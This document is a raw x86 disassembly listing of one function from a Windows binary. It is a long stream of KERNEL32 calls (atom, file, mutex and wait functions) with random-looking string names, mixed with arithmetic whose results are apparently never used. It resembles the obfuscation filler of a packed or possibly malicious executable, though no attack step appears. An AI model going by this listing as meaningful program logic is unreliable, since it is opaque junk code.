mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9bec]
mov byte [ecx], dl
lea edx, [ebp - 0xf1]
mov dword [ebp - 0x3d44], edx
mov eax, dword [ebp - 0x3ae0]
mov ecx, dword [eax]
xor ecx, dword [0x100b9e9c]
mov edx, dword [ebp - 0x3d0c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x7ac]
mov ecx, dword [ebp - 0x3610]
movzx edx, word [ecx]
sub eax, edx
mov word [0x100b72c0], ax
mov eax, dword [ebp - 0x391c]
mov cx, word [eax]
mov word [ebp - 0x1318], cx
push str.RAZal8_YFOoY.qAx_SgBqUBc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9980], ax
lea edx, [ebp - 0x9cd0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x37ac]
mov edx, dword [ebp - 0x2ac0]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x389c]
mov dword [eax], edx
mov ecx, dword [0x100b9d18]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x296]
or edx, eax
mov ecx, dword [0x100b9808]
mov byte [ecx], dl
mov dword [ebp - 0x3d48], 0x100b7dfe
mov edx, dword [ebp - 0x37f4]
mov eax, dword [0x100b7234]
add eax, dword [edx]
mov dword [ebp - 0x3958], eax
lea ecx, [ebp - 0xefc]
mov dword [0x100ba164], ecx
movzx edx, word [ebp - 0x124c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9ba4], ax
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x3d4c], eax
movzx ecx, word [0x100b9668]
mov edx, dword [ebp - 0x3660]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x3bc0]
mov word [edx], cx
lea eax, [ebp - 0x9bb0]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.AuIt4jF
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba168], ax
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push str.YBL1Ybc5Ol3MzcfW_aR6y
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3d50], eax
mov cl, byte [ebp - 0x1b2]
mov byte [0x100b8082], cl
push 0
push 2
push 2
push 0
push 1
push 0x40000000
push str.by5xtKlWBxbPOD9_vLlM7gTnN1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba16c], eax
mov edx, dword [ebp - 0x326c]
xor edx, dword [0x100b9f20]
mov eax, dword [ebp - 0x3d18]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9aec], eax
push 1
lea ecx, [ebp - 0x9814]
push ecx
mov edx, dword [ebp - 0x9830]
push edx
mov eax, dword [ebp - 0x9834]
push eax
mov ecx, dword [ebp - 0x380c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9708], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba170], eax
mov edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x3d54], edx
mov eax, dword [ebp - 0x35f4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x18c]
sar edx, cl
mov eax, dword [0x100b9850]
mov byte [eax], dl
movzx ecx, word [0x100b9f1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x131c], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba174], eax
mov edx, dword [0x100b9688]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1148]
shl eax, cl
mov ecx, dword [ebp - 0x39c8]
mov word [ecx], ax
mov edx, dword [0x100b9c34]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3488]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x4b8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x39dc], eax
push 0
push 0x10
push 4
push 0
push 8
push 0xc0000000
push str.WFfUCkmKKD6Be
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba178], eax
mov eax, dword [ebp - 0x3984]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x39d0]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [0x100b9f78]
mov byte [edx], cl
mov eax, dword [0x100b9664]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x274]
or ecx, edx
mov byte [ebp - 0xed], cl
mov eax, dword [ebp - 0x3a2c]
mov ecx, dword [ebp - 0x3098]
shr eax, cl
mov dword [ebp - 0x3968], eax
lea ecx, [ebp - 0x33b4]
mov dword [0x100ba17c], ecx
mov edx, dword [ebp - 0x39b0]
movsx eax, byte [edx]
movsx ecx, byte [0x100b717b]
add eax, ecx
mov edx, dword [ebp - 0x383c]
mov byte [edx], al
lea eax, [ebp - 0x61c]
mov dword [ebp - 0x3d58], eax
mov ecx, dword [ebp - 0x3a94]
movsx edx, word [ecx]
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
and edx, ecx
mov word [0x100b72c4], dx
mov edx, dword [ebp - 0x3974]
mov al, byte [edx]
mov byte [ebp - 0x29f], al
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ebp - 0x3934]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2cdc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3d5c], eax
mov ecx, dword [ebp - 0x3670]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35d0]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b71f4], dx
mov dword [ebp - 0x3d60], 0x100b7280
lea ecx, [ebp - 0xad80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100b959c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x1d5], al
mov eax, dword [ebp - 0x3be8]
mov cx, word [eax]
mov word [0x100ba180], cx
mov edx, dword [0x100ba0bc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3d]
sar eax, cl
mov byte [ebp - 0x299], al
push 1
lea ecx, [ebp - 0x980c]
push ecx
mov edx, dword [0x100ba18c]
push edx
mov eax, dword [0x100ba188]
push eax
mov ecx, dword [0x100b9820]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x37d8], eax
lea edx, [ebp - 0x3748]
mov dword [ebp - 0x3d64], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9ff0], eax
movsx eax, byte [0x100b714a]
movsx ecx, byte [ebp - 0x28f]
add eax, ecx
mov edx, dword [0x100b998c]
mov byte [edx], al
movzx eax, word [ebp - 0xefc]
mov ecx, dword [0x100b9544]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3868]
mov word [ecx], ax
movzx edx, word [0x100ba070]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1320], ax
lea eax, [ebp - 0x1290]
mov dword [ebp - 0x3d68], eax
mov ecx, dword [ebp - 0x36bc]
mov edx, dword [ecx]
mov ecx, dword [0x100b7208]
shl edx, cl
mov dword [0x100b72c8], edx
lea eax, [ebp - 0xa44]
mov dword [ebp - 0x3d6c], eax
push str.9_fAQu_O6jVUjQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba184], ax
movzx ecx, byte [ebp - 0x277]
movzx edx, byte [ebp - 0x260]
xor ecx, edx
mov byte [ebp - 0x283], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3bac], eax
push 0
push 0x10
push 0
push 0
push 8
push 0x80000000
push str.OjflcC7fW5dM5QH2WCMxLpU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3d70], eax
mov eax, dword [ebp - 0x38b0]
mov ecx, dword [ebp - 0x2c04]
xor ecx, dword [eax]
mov edx, dword [0x100b96f4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3690]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x287]
add ecx, edx
mov byte [ebp - 0x80], cl
mov eax, dword [ebp - 0x3670]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xd80]
sar edx, cl
mov eax, dword [ebp - 0x39d4]
mov word [eax], dx
movzx ecx, word [ebp - 0x1290]
mov edx, dword [0x100ba018]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [0x100b9688]
mov word [edx], cx
mov eax, dword [ebp - 0x3b80]
mov cl, byte [eax]
mov byte [ebp - 0x2a0], cl
mov edx, dword [ebp - 0x38cc]
mov eax, dword [edx]
mov dword [0x100ba190], eax
mov ecx, dword [ebp - 0x3914]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x39b8]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3b0c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3620]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9e]
xor edx, eax
mov ecx, dword [ebp - 0x37c4]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba194], eax
mov edx, dword [0x100b96f4]
mov eax, dword [ebp - 0x3744]
sub eax, dword [edx]
mov dword [0x100b97a0], eax
lea ecx, [ebp - 0x1244]
mov dword [ebp - 0x3d74], ecx
mov edx, dword [ebp - 0x3a64]
mov eax, dword [0x100b96f4]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2de4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push str.zoRHoICobQ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3d78], eax
mov eax, dword [ebp - 0x3cd0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xed8]
add ecx, edx
mov word [str.Q_a_W3k], cx
mov eax, dword [ebp - 0x3848]
mov edx, dword [ebp - 0x3044]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x3098], edx
mov al, byte [ebp - 0x274]
mov byte [ebp - 0x2a1], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9ee4], eax
lea ecx, [ebp - 0x29a]
mov dword [0x100ba198], ecx
mov edx, dword [ebp - 0x3d38]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c40]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x18c], al
mov eax, dword [0x100b94a4]
mov ecx, dword [0x100b9584]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x3160], edx
movzx eax, word [0x100b9980]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x118c], ax
movzx ecx, byte [ebp - 0x263]
mov edx, dword [ebp - 0x37e8]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b9808]
mov byte [edx], cl
mov eax, dword [ebp - 0x384c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3af8]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3b8c]
mov word [edx], cx
movzx eax, word [0x100b71f4]
movzx ecx, word [ebp - 0x108c]
shl eax, cl
mov word [ebp - 0x11c0], ax
movzx ecx, word [ebp - 0x1220]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba19c], ax
lea edx, [ebp - 0x3acc]
mov dword [0x100ba1a0], edx
lea eax, [ebp - 0xafe4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cl, byte [0x100b713e]
mov byte [ebp - 0x2a2], cl
mov edx, dword [ebp - 0x2c3c]
mov dword [ebp - 0x3d7c], edx
movzx eax, byte [ebp - 0x5f]
mov ecx, dword [ebp - 0x39ec]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b9bec]
mov byte [ecx], al
mov edx, dword [ebp - 0x3b3c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x82c]
sar eax, cl
mov ecx, dword [ebp - 0x3d14]
mov word [ecx], ax
lea edx, [ebp - 0x1270]
mov dword [ebp - 0x3d80], edx
movsx eax, byte [ebp - 0x134]
movsx ecx, byte [0x100b7193]
xor eax, ecx
mov byte [0x100b71c7], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9640], eax
push 0xbf1
mov edx, dword [ebp - 0x39d8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba1a4], eax
mov eax, dword [ebp - 0x3660]
movzx ecx, word [eax]
mov edx, dword [0x100b9ec4]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1158], cx
mov ecx, dword [ebp - 0x379c]
mov edx, dword [0x100b9bb0]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x3860]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3b74]
mov dword [0x100ba1a8], edx
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x3d84], eax
mov ecx, dword [ebp - 0x38f0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3914]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x38f0]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d88], eax
push 0x100ba1ac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx ecx, byte [ebp - 0x1ab]
imul edx, ecx, 5
mov byte [0x100b7fd2], dl
movzx eax, word [ebp - 0x11cc]
mov ecx, dword [ebp - 0x3cd4]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xf08], ax
mov dword [ebp - 0x3d8c], 0x100b71c8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3d90], eax
mov eax, dword [ebp - 0x3bc4]
mov edx, dword [ebp - 0x2ef4]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b72d0], edx
mov eax, dword [ebp - 0x3884]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x292]
sar edx, cl
mov eax, dword [ebp - 0x3a84]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7ff2]
add edx, eax
mov byte [ebp - 0x73], dl
mov dword [0x100ba1c4], 0x100b72a8
movzx ecx, word [ebp - 0xda8]
mov edx, dword [0x100b9d90]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x367c]
mov word [edx], cx
push 0xdc
mov eax, dword [0x100b9f18]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba1c8], eax
mov ecx, dword [ebp - 0x3108]
mov dword [ebp - 0x3d94], ecx
mov edx, dword [ebp - 0x383c]
movsx eax, byte [edx]
mov ecx, dword [0x100b9f78]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100b9654]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3bf8], eax
movzx edx, byte [ebp - 0x4e]
movzx eax, byte [ebp - 0x283]
or edx, eax
mov ecx, dword [ebp - 0x3740]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
mov dword [ebp - 0x3d98], 0x100b9540
mov edx, dword [ebp - 0x36f0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf08]
xor eax, ecx
mov edx, dword [0x100ba0e0]
mov word [edx], ax
movsx eax, word [0x100b9f50]
movsx ecx, word [ebp - 0xed8]
shl eax, cl
mov ecx, dword [ebp - 0x391c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3980]
mov eax, dword [edx]
mov ecx, dword [0x100b983c]
sar eax, cl
mov ecx, dword [ebp - 0x38d4]
mov dword [ecx], eax
lea edx, [ebp - 0x17c]
mov dword [0x100ba1cc], edx
lea eax, [ebp - 0x2a1]
mov dword [ebp - 0x3d9c], eax
push str.L0r_rEGd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b982c], ax
mov ecx, dword [0x100b9830]
mov dx, word [ecx]
mov word [ebp - 0x1324], dx
push str.RLrw_Q4_jrD2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1328], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba0c0], eax
mov ax, word [ebp - 0x1254]
mov word [0x100ba1d0], ax
push str.DcDar5W
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba1d4], ax
push 0x15e3
mov ecx, dword [ebp - 0x35cc]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3da0], eax
push 0
push 0x200
push 1
push 0
push 8
push 0xc0000000
push str.U1P2B2Ej8Sk51
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba1d8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3da4], eax
mov edx, dword [0x100b9f34]
mov eax, dword [ebp - 0x385c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2d7c], ecx
push 0x100b9de4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x362c]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xee8], ax
push 0x1a33
mov eax, dword [0x100b9840]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3a3c], eax
mov ecx, dword [0x100b97f8]
xor ecx, dword [0x100b7250]
mov dword [0x100b7204], ecx
push 0x100ba1dc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edx, [ebp - 0xad38]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [ebp - 0xbc]
movsx ecx, byte [ebp - 0x80]
xor eax, ecx
mov byte [ebp - 0x285], al
movzx edx, byte [ebp - 0x299]
movzx eax, byte [ebp - 0x256]
add edx, eax
mov ecx, dword [0x100b9660]
mov byte [ecx], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3da8], eax
lea edx, [ebp - 0x1148]
mov dword [ebp - 0x3dac], edx
mov eax, dword [0x100b9bc0]
mov ecx, dword [ebp - 0x2c04]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x36f8]
mov dword [edx], ecx
mov dword [0x100ba1f4], 0x100b9f20
movsx eax, word [ebp - 0xe74]
movsx ecx, word [ebp - 0x11e4]
or eax, ecx
mov word [ebp - 0x115c], ax
mov dword [ebp - 0x3db0], 0x100b7e6a
mov edx, dword [ebp - 0x3cfc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x288]
shl eax, cl
mov byte [0x100b7143], al
push 0x100ba1f8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x275]
sar edx, cl
mov eax, dword [ebp - 0x3978]
mov byte [eax], dl
mov ecx, dword [0x100b94a4]
mov edx, dword [ebp - 0x3934]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x2b48], eax
lea ecx, [ebp - 0x1210]
mov dword [0x100ba210], ecx
mov edx, dword [ebp - 0x360c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [ebp - 0x670]
movsx ecx, word [0x100b7214]
xor eax, ecx
mov edx, dword [ebp - 0x3c68]
mov word [edx], ax
mov eax, dword [ebp - 0x3d98]
mov ecx, dword [eax]
mov dword [ebp - 0x3db4], ecx
mov edx, dword [ebp - 0x3bb0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x37e8]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b96fc]
mov byte [ecx], al
mov edx, dword [0x100ba034]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x261]
and eax, ecx
mov byte [ebp - 0x24e], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9abc], eax
push str.q9GW_XrWzOYBi_qpIz_vC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x132c], ax
mov edx, dword [ebp - 0x3d0c]
mov eax, dword [0x100b9e9c]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x3a1c]
mov dword [ecx], eax
mov dx, word [ebp - 0x121c]
mov word [0x100ba214], dx
push 0x100b97a4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [0x100b9974]
mov ecx, dword [ebp - 0x384c]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x36d4]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba218], eax
mov eax, dword [ebp - 0x3808]
mov cx, word [eax]
mov word [ebp - 0x1330], cx
mov edx, dword [0x100b9664]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x8f]
or eax, ecx
mov edx, dword [0x100b9904]
mov byte [edx], al
lea eax, [ebp - 0x2ba4]
mov dword [ebp - 0x3db8], eax
lea ecx, [ebp - 0x9ce8]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x3a74]
mov eax, dword [ebp - 0x3cbc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x33b4], ecx
lea edx, [ebp - 0x280]
mov dword [0x100ba21c], edx
push str.FLPBrC_Ip6I2_EALZH.7l9u
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba220], ax
mov ax, word [0x100b71cc]
mov word [ebp - 0x1334], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
movsx ecx, word [ebp - 0x5a0]
movsx edx, word [ebp - 0x1278]
add ecx, edx
mov eax, dword [ebp - 0x39b8]
mov word [eax], cx
movsx ecx, byte [0x100b801b]
mov edx, dword [0x100b96ec]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x100b71d2], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3dbc], eax
mov ecx, dword [0x100ba014]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba224], eax
movzx edx, byte [ebp - 0x26d]
movzx ecx, byte [ebp - 0x238]
sar edx, cl
mov byte [ebp - 0x247], dl
push 0x35c
mov eax, dword [ebp - 0x38d0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x33e0], eax
mov ecx, dword [0x100b98b0]
mov edx, dword [ecx]
xor edx, dword [0x100b7264]
mov eax, dword [ebp - 0x3bc4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ae0]
mov edx, dword [ebp - 0x3748]
sub edx, dword [ecx]
mov eax, dword [0x100b9c64]
mov dword [eax], edx
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3a58]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x134], dl
mov dword [ebp - 0x3dc0], 0x100b72b0
mov dword [0x100ba228], 0x100b94f4
push 0x100b9c18
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, byte [ebp - 0x28d]
mov edx, dword [0x100ba0bc]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3bb0]
mov byte [edx], cl
mov eax, dword [ebp - 0x3274]
mov dword [ebp - 0x3dc4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba170], eax
push 0
push 0x200
push 0
push 0
push 8
push 0x80000000
push str.e2wwePTRnPJSKu_aLC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3dc8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b18], eax
mov ecx, dword [ebp - 0x3644]
movzx edx, word [ecx]
movzx eax, word [0x100b7224]
add edx, eax
mov word [0x100b7294], dx
push 0
push 2
push 3
push 0
push 2
push 0xc0000000
push str.rLdSVf1WGU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba22c], eax
mov ecx, dword [ebp - 0x2c7c]
and ecx, dword [ebp - 0x3028]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
mov dword [ebp - 0x3dcc], 0x100b7f26
movsx eax, word [ebp - 0x123c]
mov ecx, dword [ebp - 0x3cd0]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100b96a8]
mov word [ecx], ax
movzx edx, byte [ebp - 0x263]
movzx ecx, byte [ebp - 0x3d]
sar edx, cl
mov byte [ebp - 0x257], dl
mov eax, dword [ebp - 0x3758]
mov ecx, dword [ebp - 0x3900]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3bd4]
mov dword [eax], edx
mov dword [0x100ba230], 0x100b713e
lea ecx, [ebp - 0x1254]
mov dword [ebp - 0x3dd0], ecx
movzx edx, word [ebp - 0xf38]
mov eax, dword [ebp - 0x3dc0]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x36e4]
mov word [eax], dx
mov ecx, dword [ebp - 0x2e1c]
and ecx, dword [ebp - 0x3654]
mov edx, dword [0x100b96d4]
mov dword [edx], ecx
mov ax, word [0x100b729c]
mov word [ebp - 0x1338], ax
movzx ecx, byte [0x100b7df7]
movzx edx, byte [ebp - 0x29f]
or ecx, edx
mov eax, dword [ebp - 0x37e8]
mov byte [eax], cl
mov dword [0x100ba234], 0x100b97a0
mov ecx, dword [ebp - 0x3c9c]
movsx edx, byte [ecx]
imul eax, edx, 0x6b
mov byte [ebp - 0x26e], al
movzx eax, word [0x100b9ccc]
movzx ecx, word [0x100b71e8]
cdq
idiv ecx
mov word [ebp - 0x6a0], ax
mov edx, dword [ebp - 0x3930]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3814]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x100b7268], ax
mov dword [ebp - 0x3dd4], 0x100b7fd6
mov dword [0x100ba238], 0x100b7274
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x37f0]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3ac0]
mov word [ecx], ax
mov edx, dword [0x100b9b70]
mov al, byte [edx]
mov byte [ebp - 0x2a3], al
mov ecx, dword [ebp - 0x3274]
mov dword [0x100ba23c], ecx
movzx edx, word [ebp - 0x11c0]
mov eax, dword [ebp - 0x3b04]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x12c4], dx
mov dword [ebp - 0x3dd8], 0x100b9dd4
mov edx, dword [ebp - 0x35ac]
movsx eax, word [edx]
movsx ecx, word [0x100b72c4]
and eax, ecx
mov edx, dword [0x100b9828]
mov word [edx], ax
push 0x214d
push 0
push 0x100b9ed4
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3ddc], eax
mov eax, dword [0x100b9d54]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x326c]
mov edx, dword [ebp - 0x3bc4]
mov dword [edx], ecx
push 0
push 2
push 0
push 0
push 2
push 0x40000000
push str.9qMPfXx9E4gCfZnOIrcfOg
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3de0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba240], eax
mov eax, dword [0x100b99a8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0x1bd9
push 0x2ae0
push 8
mov ecx, dword [ebp - 0x38f4]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x37a8], eax
lea edx, [ebp - 0x284]
mov dword [ebp - 0x3de4], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba244], eax
mov eax, dword [0x100b9ec0]
movsx edx, byte [eax]
movsx ecx, byte [0x100b71d2]
shl edx, cl
mov byte [0x100b7e0e], dl
mov eax, dword [ebp - 0x3c10]
movsx ecx, byte [eax]
imul edx, ecx, 0x71
mov eax, dword [ebp - 0x371c]
mov byte [eax], dl
mov ecx, dword [0x100ba010]
mov edx, dword [ebp - 0x2b48]
xor edx, dword [ecx]
mov dword [ebp - 0x2af8], edx
push 0x377
push 0
push 0x100b9c68
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3de8], eax
movzx eax, byte [ebp - 0x238]
movzx ecx, byte [ebp - 0x2a1]
or eax, ecx
mov byte [0x100b71d3], al
push 0x100ba248
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100a5aa8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x133c], ax
mov edx, dword [0x100ba084]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x125c]
sar eax, cl
mov ecx, dword [ebp - 0x3c70]
mov word [ecx], ax
mov edx, dword [0x100b9688]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1330]
add eax, ecx
mov edx, dword [ebp - 0x36e4]
mov word [edx], ax
